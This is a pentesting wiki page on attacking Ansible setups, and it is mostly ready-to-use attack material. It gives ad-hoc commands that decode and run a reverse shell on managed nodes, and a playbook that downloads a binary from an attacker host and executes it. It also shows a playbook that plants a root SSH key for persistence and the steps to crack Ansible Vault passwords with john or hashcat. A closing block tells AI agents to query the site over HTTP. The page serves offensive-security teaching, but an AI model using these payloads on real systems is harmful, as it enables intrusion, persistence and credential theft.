# Ansible Pentesting

## Theory

[Ansible](https://docs.ansible.com/) is a powerful configuration management and automation tool widely used in DevOps to manage servers and deploy applications. However, its design and features can also make it a potential attack vector if improperly configured or abused.

Ansible operates on a "push" model, where the Ansible controller executes Modules on registered "nodes". Key components include:

* **Inventory**: A list of managed nodes (targets), located on the controller server at `/etc/ansible/hosts`
* **Playbooks**: YAML files that define tasks and automation processes.
* **Modules**: Scripts used to perform specific actions (e.g., file operations, command execution).

In order to perform actions on managed nodes, a password for a node user must be stored on the controller, or the controller's Ansible account must be configured on it using SSH keys. This allows the controller to connect to the node and execute the desired modules.

## Practice

### Command Execution

{% hint style="danger" %}
The following methods are utilized from the Ansible Controller, requiring a user with the necessary privileges.
{% endhint %}

{% tabs %}
{% tab title="Ad-hoc Commands" %}
[Ad-hoc commands](https://docs.ansible.com/ansible/latest/command_guide/intro_adhoc.html) are simple shell commands to be run on one or more managed nodes in the Ansible inventory. They are used for one-time tasks and are not included in a playbook.

```bash
# On Ansible Controller
## Simply run
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash"

## Run as sudo
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become
```

{% endtab %}

{% tab title="Playbooks" %}
[Ansible Playbooks](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html) offer a repeatable, reusable way to run a sets of tasks on Ansible nodes. Playbooks are expressed in YAML format.

We can use Playbooks to execute a malicious script/binary on Ansible nodes.

{% hint style="info" %}
The `hosts` field specifies the target hosts from the inventory on which the playbook will be executed. You can use:

* **Groups**: Specify a group of hosts defined in the inventory file.
* **Individual Hosts**: Target specific hosts by their names.
* **All**: Use "all" to run the playbook on every host listed in the inventory
  {% endhint %}

**Simple Execution**

{% code title="evil.yml" %}

```yaml
- hosts: all
  tasks:
  become: yes # Delete this line if playbook should not be run as root
  - name: evil
    shell: "curl -o /tmp/evil.elf http://<ATTACKING_IP>/evil.elf && chmod +x /tmp/evil.elf && /tmp/evil.elf"
    async: 10
    poll: 0
```

{% endcode %}

Run the playbook:

```bash
ansible-playbook evil.yml
```

**SSH Persistence**

The following playbook acheive SSH persistence by adding a public key to the `/root/.ssh/authorized_keys` file

```yaml
---
- name: Add SSH key for persistence
  hosts: target_hosts
  become: yes
  tasks:
    - name: Ensure the .ssh directory exists
      file:
        path: /root/.ssh
        state: directory
        mode: '0700'
        owner: root
        group: root
        
    - name: Create authorized keys if it does not exist
      file:
        path: /root/.ssh/authorized_keys
        state: touch
        mode: '0600'
        owner: root
        group: root
      
    - name: Add SSH public key for persistence
      authorized_key:
        user: root
        state: present
        key: "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr...your_key_here... user@hostname"  # Replace with your actual SSH public key

    - name: Ensure SSH service is enabled and running
      service:
        name: sshd
        state: started
        enabled: yes
```

{% endtab %}
{% endtabs %}

### Unsecured Credentials

if we are able to read Ansible playbooks, we may found sensitive data like secrets and hardcoded credentials.

{% tabs %}
{% tab title="Playbook Secrets" %}
We may find hardcoded credential in playbooks alongside the `become` directive, as it may allows Administratror to use SSH whithout keys.

```yaml
- hosts: all
  become: yes
  become_user: root
  vars:
    db_user: "admin"
    db_password: "password123"
```

Alternatively we may directly find hardcoded credentials in shell commands

```yaml
- name: MySQL_SHOW_DB
  hosts: target_servers
  become: yes
  tasks:
    - name: get db
      shell: |
        echo "Connecting to the database..."
        mysql -u admin -p'password123' -e "SHOW DATABASES;"
```

{% endtab %}

{% tab title="Vault Secrets" %}
[Ansible Vault ](https://docs.ansible.com/ansible/latest/vault_guide/index.html)is a feature that allows users to encrypt sensitive data within playbooks. However, we may be able to decrypt the file with password or by cracking hash to retrieve password.

First check the file encrypted with Ansible Vault.

```bash
cat example.yml

# -- output --
$ANSIBLE_VAULT;1.1;AES256
62313365396662343061393464336163383764373764613633653634306231386433626436623361
6134333665353966363534333632666535333761666131620a663537646436643839616531643561
63396265333966386166373632626539326166353965363262633030333630313338646335303630
3438626666666137650a353638643435666633633964366338633066623234616432373231333331
6564
```

We can use **`ansible2john`** to generate the hash to make it crackable.

```bash
ansible2john example.yml > hash.txt
```

Then crack this hash using **John The Ripper** or **Hashcat**.

```bash
john --wordlist=wordlist.txt hash.txt
# or
hashcat -a 0 -m 16900 hash.txt wordlist.txt --user
```

After cracking and retrieving the passwrod, we can use it to decrypt the file as below.

```bash
ansible-vault decrypt example.yml --output decrypted.txt
```

{% endtab %}

{% tab title="Syslog Leakage" %}
When Ansible operates on a host, some modules will attempt to log their actions to `/var/log/syslog`. This log includes the module name and the arguments passed along to that command, which could include secrets or credentials.

{% hint style="info" %}
Some playbooks may mitigate the risk of sensitive data being logged in syslog by using the `no_log: true` option in tasks.
{% endhint %}

We may therefore find sensitive data **on ansible nodes** by looking at the `/var/log/syslog` file.

```bash
cat /var/log/syslog
```

{% endtab %}
{% endtabs %}

### Weak Playbooks Permissions

If we discover a playbook on the Ansible controller with **write permissions** or can exploit vulnerabilities to gain such access, **we can modify the playbook to insert malicious tasks**. These tasks will then execute during the next run of the playbook, potentially allowing us to escalate privileges, exfiltrate data, or deploy additional backdoors.

## Resources

{% embed url="<https://exploit-notes.hdks.org/exploit/cryptography/algorithm/ansible-vault-secret/>" %}

{% embed url="<https://medium.com/@pavithra_38952/protecting-your-secrets-with-ansible-cac601a1a5ab>" %}

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/cloud-cicd-pentesting/ci-cd/ansible-pentesting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
